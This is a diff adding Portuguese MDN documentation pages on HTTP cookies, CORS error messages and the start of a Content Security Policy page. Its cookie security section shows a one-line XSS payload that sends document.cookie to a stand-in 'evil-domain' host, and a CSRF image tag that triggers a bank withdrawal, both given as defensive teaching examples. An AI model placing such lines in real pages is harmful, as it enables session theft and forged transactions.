tasty_cookie=strawberry</pre> + +<h3 id="Cookies_de_sessão">Cookies de sessão</h3> + +<p>O cookie criado anteriormente é um <em>cookie de sessão</em>: ele é apagado quando o cliente fecha a sessão, pois não foi específicada uma diretiva <code>Expires</code> ou <code>Max-Age</code>. Entretanto, navegadores web podem usar <strong>restauração de sessão</strong>, o que torna quase todos cookies de sessão permanentes, como se o navegador nunca tivesse sido fechado.</p> + +<h3 id="Cookies_permanentes">Cookies permanentes</h3> + +<p>Ao invés de expirar quando o cliente fecha, <em>cookies permanentes </em>expiram em uma data específica (<code>Expires</code>) ou depois de um período específico de tempo (<code>Max-Age</code>).</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> + +<div class="note"> +<p><strong>Nota</strong>: Quanda uma data de expiração é configurada, o tempo e a data são relativas ao cliente no qual o cookie está configurado, não ao servidor.</p> +</div> + +<h3 id="Cookies_Secure_e_HttpOnly">Cookies <code>Secure</code> e <code>HttpOnly</code></h3> + +<p>Um cookie seguro só é enviado ao servidor com uma requisição criptografada sobre um protocolo HTTPS. Mesmo com a diretiva <code>Secure</code>, informações confidenciais <em>nunca</em> devem ser guardadas em cookies, pois são intrinsecamente inseguros e esta diretiva não oferece proteção real. Iniciando com o Chrome 52 e o Firefox 52, sites inseguros (<code>http:</code>) não podem mais configurar cookies com a diretiva <code>Secure</code>.</p> + +<p>Para se prevenir de ataques <em>cross-site scripting</em> ({{Glossary("XSS")}}), os cookies <code>HttpOnly</code> são inacessíveis para a API JavaScript {{domxref("Document.cookie")}}; eles são enviados só para o servidor. Por exemplo, cookies que persistem sessões de servidor não precisam estar disponíves para o JavaScript, e portanto a diretiva <code>HttpOnly</code> deve ser configurada.</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre> + +<h3 id="Escopo_dos_cookies">Escopo dos cookies</h3> + +<p>As diretivas <code>Domain</code> e <code>Path</code> definem o <em>escopo</em> de um cookie: para quais URLs os cookies devem ser enviados.</p> + +<p>A diretiva <code>Domain</code> especifica os hosts permitidos de receber o cookie. Se não é especificada, o seu valor padrão é o <a href="/en-US/docs/Web/API/Document/location">host da localização do documento atual</a>, <strong>excluindo subdomínios</strong>. Se a diretiva <code>Domain</code> <em>é</em> especificada, então os subdomínios são também incluídos.</p> + +<p>Por exemplo, se <code>Domain=mozilla.org</code> é configurado, então os cookies são incluídos em subdomínios como <code>developer.mozilla.org</code>.</p> + +<p>A diretiva <code>Path</code> indica o caminho da URL que deve existir na URL requisitada para que o cabeçalho <code>Cookie</code> seja enviado. O caractere %x2F ("/") é considerado um separador de diretórios, e os subdiretórios também seguem essa regra.</p> + +<p>Por exemplo, se <code>Path=/docs</code> é configurado, estes caminhos coincidem:</p> + +<ul> + <li><code>/docs</code></li> + <li><code>/docs/Web/</code></li> + <li><code>/docs/Web/HTTP</code></li> +</ul> + +<h3 id="Cookies_SameSite_experimental_inline">Cookies <code>SameSite</code> {{experimental_inline}}</h3> + +<p>Cookies <code>SameSite</code> permitem que servidores exijam que um cookie não deve ser enviado com requisições entre sites, o que pode proteger contra ataques de requisição forjada entre sites ({{Glossary("CSRF")}}).</p> + +<p>Cookies <code>SameSite</code> são relativamente novos, mas tem suporte nos principais browsers do mercado.</p> + +<p>Veja um exemplo:</p> + +<pre>Set-Cookie: key=value; SameSite=Strict</pre> + +<p>O atributo SameSite pode receber um ou dois valores (case-insensitive):</p> + +<dl> + <dt><code>None</code></dt> + <dd>O navegador irá enviar os cookies tanto para as requisições <em>cross-site </em>quanto <em>same-site</em>.</dd> +</dl> + +<dl> + <dt><code>Strict</code></dt> + <dd>Se o cookie same-site possuir este atributo, o navegador enviará cookies apenas se a requisição for enviada do website que configurou este cookie, Se a requisição tem origem em outra URL, nenhum cookie com o atributo<code>Strict</code> será incluído.</dd> + <dt><code>Lax</code></dt> + <dd>Se o atributo receber o valor Lax, os cookies same-site ficarão retidos nas sub-requisições entre sites, como chamadas para carregar imagens ou frames, mas serão enviadas quando um usuário navegar para o URL de um site externo.</dd> +</dl> + +<p>O comportamento padrão se a flag não estiver setada ou não sem suporte donavegador é incluir os cookies em qualquer solicitação, incluindo solicitações cross-origin.</p> + +<h3 id="Acesso_via_JavaScript_usando_Document.cookie">Acesso via JavaScript usando <code>Document.cookie</code></h3> + +<p>Novos cookies podem ser também criados via JavaScript usando a propriedade {{domxref("Document.cookie")}} e, se a diretiva <code>HttpOnly</code> não está configurada, os cookies existentes podem ser acessados pelo JavaScript também.</p> + +<pre class="brush: js">document.cookie = "yummy_cookie=choco"; +document.cookie = "tasty_cookie=strawberry"; +console.log(document.cookie); +// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre> + +<p>Consulte as questões de segurança na seção <a href="/en-US/docs/Web/HTTP/Cookies#Security">Segurança</a> a seguir. Os cookies disponíveis ao JavaScript podem ser roubados usando XSS.</p> + +<h2 id="Segurança">Segurança</h2> + +<div class="note"> +<p>Informações confidenciais ou restritas nunca devem ser transmitidas via cookies HTTP, já que todo o mecanismo é intrinsecamente inseguro.</p> +</div> + +<h3 id="Sequestro_de_sessões_e_XSS">Sequestro de sessões e XSS</h3> + +<p>Os cookies geralmente são usados em aplicações web para identificar um usuário e sua sessão autenticada, portanto roubar um cookie pode levar ao sequestro da sessão do usuário autenticado. As formas mais comuns de roubar cookies incluem Engenharia Social ou exploração de uma vulnerabilidade {{Glossary("XSS")}} em uma aplicação.</p> + +<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre> + +<p>O atributo <code>HttpOnly</code> do cookie pode ajudar a minimizar este ataque ao prevenir o acesso ao valor do cookie usando JavaScript.</p> + +<h3 id="Requisição_forjada_entre_sites_CSRF">Requisição forjada entre sites (CSRF)</h3> + +<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">A Wikipedia</a> menciona um bom exemplo de {{Glossary("CSRF")}}. Nesta situação, alguém inclui uma imagem que não é realmente uma imagem, como por exemplo em um chat ou fórum sem filtro, mas sim uma requisição para o servidor de um banco para sacar dinheiro:</p> + +<pre class="brush: html"><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> + +<p>Agora, se você estiver logado na sua conta no banco e seus cookies ainda são válidos, e não há mais nenhuma validação, você vai transferir o dinheiro assim que carregar o código HTML que contém a imagem. Existem algumas técnicas que são usadas para evitar ataques deste tipo:</p> + +<ul> + <li>Assim como {{Glossary("XSS")}}, filtrar entradas de usuário é importante.</li> + <li>Sempre deve haver uma confirmação antes de qualquer ação restrita.</li> + <li>Cookies usados para ações confidenciais sempre devem ter um tempo de vida restrito.</li> + <li>Para mais dicas de proteção, consulte o <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li> +</ul> + +<h2 id="Rastreamento_e_privacidade">Rastreamento e privacidade</h2> + +<h3 id="Cookies_de_terceiros">Cookies de terceiros</h3> + +<p>Os cookies têm um domínio associado. Se este domínio é o mesmo do domínio da página atual, diz-se que os cookies são <em>diretos</em>. Se o domínio é diferente, diz-se que os cookies são <em>de terceiros</em>. Enquanto cookies diretos só são enviados para o servidor que os configura, uma página web pode conter imagens ou outros componentes guardados em servidores de outros domínios, como por exemplo propagandas. Os cookies enviados por estes componentes de terceiros são chamadas de cookies de terceiros e são principalmente usados para propaganda e rastreamento pela web. Veja por exemplo os <a href="https://www.google.com/policies/technologies/types/">tipos de cookies usados pela Google</a>. Muitos navegadores permitem cookies de terceiros por padrão, mas há complementos que permitem bloqueá-los, como por exemplo o <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> da <a href="https://www.eff.org/">EFF</a>.</p> + +<p>Se você não informa que usa cookies de terceiros, a confiança dos usuários pode ficar abalada caso descubram o uso deste tipo de cookie. Uma informação clara, com por exemplo uma política de privacidade, tende a eliminar qualquer efeito negativo da descoberta dos cookies. Alguns países têm uma legislação sobre cookies. Consulte a <a href="https://wikimediafoundation.org/wiki/Cookie_statement">declaração de cookies</a> da Fundação Wikimedia, por exemplo.</p> + +<h3 id="Cabeçalho_Do-Not-Track">Cabeçalho Do-Not-Track</h3> + +<p>Não há requisitos legais ou tecnológicos para seu uso, mas o cabeçalho {{HTTPHeader("DNT")}} pode ser usado para avisar que uma aplicação web deve desabilitar seu rastreamento ou rastreamento de usuários entre sites para um usuário específico. Consulte o cabeçalho {{HTTPHeader("DNT")}} para mais informações.</p> + +<h3 id="Diretivas_da_UE_para_cookies">Diretivas da UE para cookies</h3> + +<p>Os requisitos para cookies na UE (União Europeia) estão definidos na <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Diretriz 2009/136/EC</a> do Parlamento Europeu e entraram em vigor em 25 de maio de 2011. Uma diretriz não é lei por si só, mas um requisito para os estados membros da UE para aprovar leis que contemplem os requisitos da diretriz. Essas leis podem variar de país para país.</p> + +<p>Resumindo, a diretriz da UE significa que antes que alguém armazene ou recupere qualquer informação de um computador, celular ou outro equipamento, o usuário deve dar permissão para isso. Muitos websites colocaram anúncios (conhecidos como <em>anúncios de cookies</em>) desde então para informar os usuários sobre o uso dos cookies.</p> + +<p>Para mais informações, consulte <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">esta seção da Wikipedia</a> e leis federais para informações atualizadas e precisas.</p> + +<h3 id="Cookies_zumbi_e_Evercookies">Cookies zumbi e Evercookies</h3> + +<p>Uma abordagem mais radical aos cookies são os cookies zumbi ou <em>Evercookies</em>, que são recriados quando apagados e intencionalmente difíceis de apagar por completo. Eles usam a <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">API Web storage</a>, Objetos Flash Local Shared e outras técnicas para se recriarem sempre que a ausência do cookie é detectada.</p> + +<ul> + <li><a href="https://github.com/samyk/evercookie">Evercookie por Samy Kamkar</a></li> + <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Cookies zumbi na Wikipedia</a></li> +</ul> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> + <li>{{domxref("Navigator.cookieEnabled")}}</li> + <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecionando cookies usando o Inspetor de Armazenamento</a></li> + <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Especificação dos cookies: RFC 6265</a></li> + <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Artigo de Nicholas Zakas sobre cookies</a></li> + <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Artigo de Nicholas Zakas sobre cookies e segurança</a></li> + <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">Cookies HTTP na Wikipedia</a></li> +</ul> diff --git a/files/pt-br/web/http/cors/errors/corsdidnotsucceed/index.html b/files/pt-br/web/http/cors/errors/corsdidnotsucceed/index.html new file mode 100644 index 0000000000..8be5c387b2 --- /dev/null +++ b/files/pt-br/web/http/cors/errors/corsdidnotsucceed/index.html @@ -0,0 +1,33 @@ +--- +title: 'Razão: A requisição CORS não foi bem sucedida' +slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed +translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="Razão">Razão</h2> + +<pre class="syntaxbox notranslate">Razão: A requisição CORS não foi bem sucedida</pre> + +<h2 id="O_que_deu_errado">O que deu errado?</h2> + +<p>A requisição {{Glossary("HTTP")}} que faz uso do CORS falhou porque a conexão HTTP falhou a nível da camada de transporte ou protocolo. O erro não é diretamente relacionado ao CORS, mas é um tipo de erro fundamental de rede.</p> + +<p>Em alguns casos, isso é causado por um plug-in do navegador (<span class="tlid-translation translation" lang="pt"><span title="">um bloqueador de anúncios ou protetor de privacidade) bloqueando a solicitação.</span></span></p> + +<p><span class="tlid-translation translation" lang="pt"><span title="">Outras possíveis causas incluem:</span></span></p> + +<ul> + <li><span class="tlid-translation translation" lang="pt"><span title="">Tentar acessar um recurso https que possui um certificado inválido causará esse erro.</span></span></li> + <li><span title="">Tentar acessar um recurso http de uma página com origem https também causará esse erro.</span></li> + <li><span title="">No Firefox 68, as páginas https não têm permissão para acessar http: // localhost, embora isso possa ser alterado pelo Bug 1488740.</span></li> + <li><span title="">O servidor não respondeu à solicitação atual (mesmo que tenha respondido ao {{Glossary ("Preflight request")}}).</span> <span title="">Um cenário pode ser um serviço HTTP em desenvolvimento que entre em pânico sem retornar nenhum dado.</span></li> +</ul> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Erros de CORS</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">Introdução ao CORS</a></li> +</ul> diff --git a/files/pt-br/web/http/cors/errors/corsmissingalloworigin/index.html b/files/pt-br/web/http/cors/errors/corsmissingalloworigin/index.html new file mode 100644 index 0000000000..1725bcb9ed --- /dev/null +++ b/files/pt-br/web/http/cors/errors/corsmissingalloworigin/index.html @@ -0,0 +1,55 @@ +--- +title: 'Reason: CORS header ''Access-Control-Allow-Origin'' missing' +slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +tags: + - CORS + - Cross-Origin + - Error + - HTTP + - HTTPS + - Reasons +translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="Motivo">Motivo</h2> + +<pre class="syntaxbox">Reason: CORS header 'Access-Control-Allow-Origin' missing</pre> + +<h2 id="O_que_houve_de_errado">O que houve de errado?</h2> + +<p>A resposta à requisição {{Glossary ("CORS")}} está sem o cabeçalho {{HTTPHeader ("Access-Control-Allow-Origin")}} necessário, que é usado para determinar se o recurso pode ser acessado ou não pelo conteúdo operando dentro da origem atual.</p> + +<p>Se o servidor estiver sob seu controle, adicione a origem do site solicitante ao conjunto de domínios de acesso permitido, adicionando-o ao valor do cabeçalho <code>Access-Control-Allow-Origin</code>.</p> + +<p>Por exemplo, para permitir que um site da origem https://amazing.site acesse ao recurso usando CORS, o cabeçalho deve conter:</p> + +<pre>Access-Control-Allow-Origin: https://amazing.site</pre> + +<p>Você também pode configurar um site para permitir que qualquer site o acesse usando o curinga <code>"*"</code>. Você só deve usar isso para APIs públicas. As APIs privadas nunca devem usar <code>"*"</code> e devem ter um domínio ou domínios específicos definidos. Além disso, o curinga só funciona para solicitações feitas com o atributo {{htmlattrxref ("crossorigin")}} definido como <code>"anonymous"</code>.</p> + +<pre>Access-Control-Allow-Origin: *</pre> + +<div class="warning"> +<p><strong>Advertência:</strong> Usar o caractere curinga para permitir que todos os sites acessem uma API privada é uma péssima ideia para o que deve ser uma razão óbvia.</p> +</div> + + + +<p>Por exemplo, no Apache, adicione uma linha como a seguinte à configuração do servidor (na seção <code><Directory></code>, <code><Location></code>, <code><Files></code> ou <code><VirtualHost></code> apropriada). A configuração é tipicamente encontrada em um arquivo <code>.conf</code> (<code>httpd.conf</code> e <code>apache.conf</code> são nomes comuns para estes), ou em um arquivo <code>.htaccess</code>.</p> + +<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre> + +<p>No Nginx, O comando para configurar este cabeçalho é:</p> + +<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre> + + + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors (Erros do CORS)</a></li> + <li>Glossário: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction (Introdução ao CORS)</a></li> +</ul> diff --git a/files/pt-br/web/http/cors/errors/corsnotsupportingcredentials/index.html b/files/pt-br/web/http/cors/errors/corsnotsupportingcredentials/index.html new file mode 100644 index 0000000000..a00010852f --- /dev/null +++ b/files/pt-br/web/http/cors/errors/corsnotsupportingcredentials/index.html @@ -0,0 +1,34 @@ +--- +title: >- + Reason: Credential is not supported if the CORS header + ‘Access-Control-Allow-Origin’ is ‘*’ +slug: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials +translation_of: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="Motivo">Motivo</h2> + +<pre class="syntaxbox notranslate">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</pre> + +<h2 id="O_que_houve_de_errado">O que houve de errado?</h2> + +<p>A requisição {{Glossary("CORS")}} foi realizada com a flag de credenciais definida, mas o servidor está configurado para usar o coringa (<code>"*"</code>) como valor do cabeçalho {{HTTPHeader("Access-Control-Allow-Origin")}}, o que não permite o uso de credenciais.</p> + +<p>Para corrigir o problema do lado do cliente, assegure que a flag de credenciais é <code>false</code> ao fazer a requisição CORS.</p> + +<ul> + <li>Se a requisição foi realizada usando {{domxref("XMLHttpRequest")}}, assegure-se que você não setou {{domxref("XMLHttpRequest.withCredentials", "withCredentials")}} para <code>true</code>.</li> + <li>Usando <a href="/en-US/docs/Web/API/Server-sent_events">Server-sent events</a>, verifique se {{domxref("EventSource.withCredentials")}} está <code>false</code> (é o valor padrão).</li> + <li>Se usar a <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, assegure-se que {{domxref("Request.credentials")}} está como <code>"omit"</code>.</li> +</ul> + +<p>Se, em vez disso, você precisar ajustar o comportamento do servidor, você deverá alterar o valor de <code>Access-Control-Allow-Origin</code> para permitir acesso para a origem do qual o cliente é carregado.</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> +</ul> diff --git a/files/pt-br/web/http/cors/errors/corsrequestnothttp/index.html b/files/pt-br/web/http/cors/errors/corsrequestnothttp/index.html new file mode 100644 index 0000000000..bc1c955140 --- /dev/null +++ b/files/pt-br/web/http/cors/errors/corsrequestnothttp/index.html @@ -0,0 +1,43 @@ +--- +title: 'Reason: CORS request not HTTP' +slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp +tags: + - CORS + - CORSRequestNotHttp + - Cross-Origin + - Erro + - HTTP + - HTTPS + - Mensagens + - Razões + - Segurança + - Solução de Problemas + - console +translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="Razão">Razão</h2> + +<pre class="syntaxbox notranslate">Razão: Requisição CORS não é HTTP</pre> + +<h2 id="O_que_deu_errado">O que deu errado?</h2> + +<p>Requisições {{Glossary("CORS")}} devem apenas usar o esquema de URL HTTPS, mas a URL especificada pela requisição é de um tipo diferente. Isso geralmente ocorre se a URL especifica um arquivo local, usando uma URL<code> file:///</code>.</p> + +<p>Para consertar esse problema, apenas certifique-se que você está usando URLs HTTPS quando emitir requisições que envolvam CORS.</p> + +<h3 id="Segurança_de_Arquivos_Locais_no_Firefox_68">Segurança de Arquivos Locais no Firefox 68</h3> + +<p>Quando um usuário abria uma página usando uma URI <code>file:///</code> no Firefox 67 ou anterior, a origem da página era definida como sendo o diretório do qual a página era aberta. Recursos existentes no mesmo diretório e nos subdiretórios eram tratados como tendo a mesma origem de acordo com a regra de mesma-origem do {{Glossary("CORS")}}.</p> + +<p>Em resposta ao <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2019-21/#CVE-2019-11730">CVE-2019-11730</a>, o Firefox, a partir da versão 68, define a origem da página aberta pela URI <code>file:///</code> como única. Desta maneira, outros recursos do mesmo diretório ou subdiretório não satisfazem mais à regra de mesma-origem do CORS. Este novo comportamento está habilitado por padrão pela preferência de nome <code>privacy.file_unique_origin</code>.</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> + <li>Glossário: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> + <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">What is a URL?</a></li> +</ul> diff --git a/files/pt-br/web/http/cors/errors/index.html b/files/pt-br/web/http/cors/errors/index.html new file mode 100644 index 0000000000..d1dd12dc75 --- /dev/null +++ b/files/pt-br/web/http/cors/errors/index.html @@ -0,0 +1,76 @@ +--- +title: CORS errors +slug: Web/HTTP/CORS/Errors +tags: + - CORS + - Errors + - HTTP + - HTTPS + - Messages + - NeedsTranslation + - Same-origin + - Security + - TopicStub + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p> + +<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p> + +<h2 id="Identifying_the_issue">Identifying the issue</h2> + +<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p> + +<ol> + <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li> + <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li> +</ol> + +<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p> + +<p>The text of the error message will be something similar to the following:</p> + +<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows +reading the remote resource at <em>https://some-url-here</em>. (<em>Reason: +additional information here</em>).</span></span></span></pre> + +<div class="note"> +<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p> +</div> + +<h2 id="CORS_error_messages">CORS error messages</h2> + +<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong. The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> + <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li> + <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li> + <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li> + <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li> +</ul> diff --git a/files/pt-br/web/http/csp/index.html b/files/pt-br/web/http/csp/index.html new file mode 100644 index 0000000000..277514de3c --- /dev/null +++ b/files/pt-br/web/http/csp/index.html @@ -0,0 +1,135 @@ +--- +title: Utilizando Políticas de Segurança de Conteúdo +slug: Web/HTTP/CSP +tags: + - Política de Segurança de Conteúdo + - Segurança +translation_of: Web/HTTP/CSP +--- +<p>{{ gecko_minversion_header("2.0") }}</p> + +<p class="summary"></p> + +<p><strong>Content Security Policy</strong> (Política de Segurança de Conteúdo, também conhecida como {{Glossary("CSP")}}) é uma camada adicional de segurança que facilita a detecção e mitigação de certos tipos de ataques, incluindo Cross Site Scripting ({{Glossary("XSS")}}) e ataques de injeção de dados. Esses ataques são utilizados para diversos fins, e eles vão desde roubo de dados até desfiguração do site para distribuição de malware. </p> + +<p>O CSP foi projetado para ser totalmente compatível retroatívelmente (come exceção da versão 2 do CSP onde existem algumas inconsistências explicitamente mencionadas com compatibilidade retroativa; mais detalhes podem ser encontrados <a href="https://www.w3.org/TR/CSP2">aqui</a> na seção 1.1). Os navegadores que não possuem suporte para o CSP ainda irão funcionar com servidores que o implementarem, e vice-versa: navegadores que não fornecem suporte podem simplesmente ignora-lo, funcionando normalmente, utilizando a norma padrão de <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a> (política de mesma origem) para conteúdo web. Se o site não oferecer o cabeçaho CSP, os navegadores também utilizam a política de same-origin.</p> + +<p>Para habilitar o CSP, você precisa configurar seu web server para retornar o cabeçalho {{HTTPHeader("Content-Security-Policy")}} (algumas vezes você verá menções para o cabeçalho <code>X-Content-Security-Policy</code>, mas essa é uma versão antiga que você não precisa especificar mais.</p> + +<p>Alternativamente, o elemento {{HTMLElement("meta")}} pode ser usado para configurar a política, por exemplo: <code><meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"></code></p> + +<h2 id="Ameaças">Ameaças</h2> + +<h3 id="Mitigando_cross_site_scripting">Mitigando cross site scripting</h3> + +<p>Um objetivo primário do CSP é de mitigar e reportar ataques XSS. Os ataques de XSS exploram a confiaça do navegador sobre o conteúdo recebido pelo servidor. Scripts maliciosos são executados pelo navegador da vítima porque o navegador confia na origem do conteúdo, mesmo quando sua origem não está vindo de onde parece que está vindo.</p> + +<p>O CSP faz com que seja possível para administradores de servidores reduzirem ou eliminarem os vetores em que os ataques de XSS podem ocorrer, especificando os domínios que o navegador deve considerar como origens válidas de scripts para serem executados. Um navegador comátivel com o CSP só irá executar então scripts que vierem de arquivos que estejam presentes nos domínios que foram previamente especificados como confiáveis, ignorando todos os outros scripts (incluindo scripts inline e atributos HTML de manipulação de eventos).</p> + +<p>Como uma forma de proteção final, os sites que querem nunca permitir a execução de scripts podem optar para desabilitar a execução globalmente.</p> + +<h3 id="Mitigando_ataques_de_captura_de_pacotes">Mitigando ataques de captura de pacotes</h3> + +<p class="summary"></p> + +<p class="summary">Além da restrição de domínios deonde o conteúdo pode ser carregado, o servidor consegue especificar quais protocolos estão habilitados para utilização; por exemplo (e literalmente, de um ponto de vista de segurança), um servidor pode especificar que todo conteúdo deve ser carregando utilizando HTTPS. Uma estratégia completa de transmissão de dados segura inclui não só impor o protocolo HTTPS para transferência de dados, mas também marcar todos os <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies"><em>cookies</em> com a </a><em><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">secure flag</a> </em>e prover redirecionamentos automáticos de páginas HTTP para suas versões HTTPS. Os sites também podem utilizar o cabeçalho {{HTTPHeader("Strict-Transport-Security")}} para garantir que os navegadores se conectem neles apenas usando um canal criptografado.</p> + +<h2 class="summary" id="Utilizando_o_CSP">Utilizando 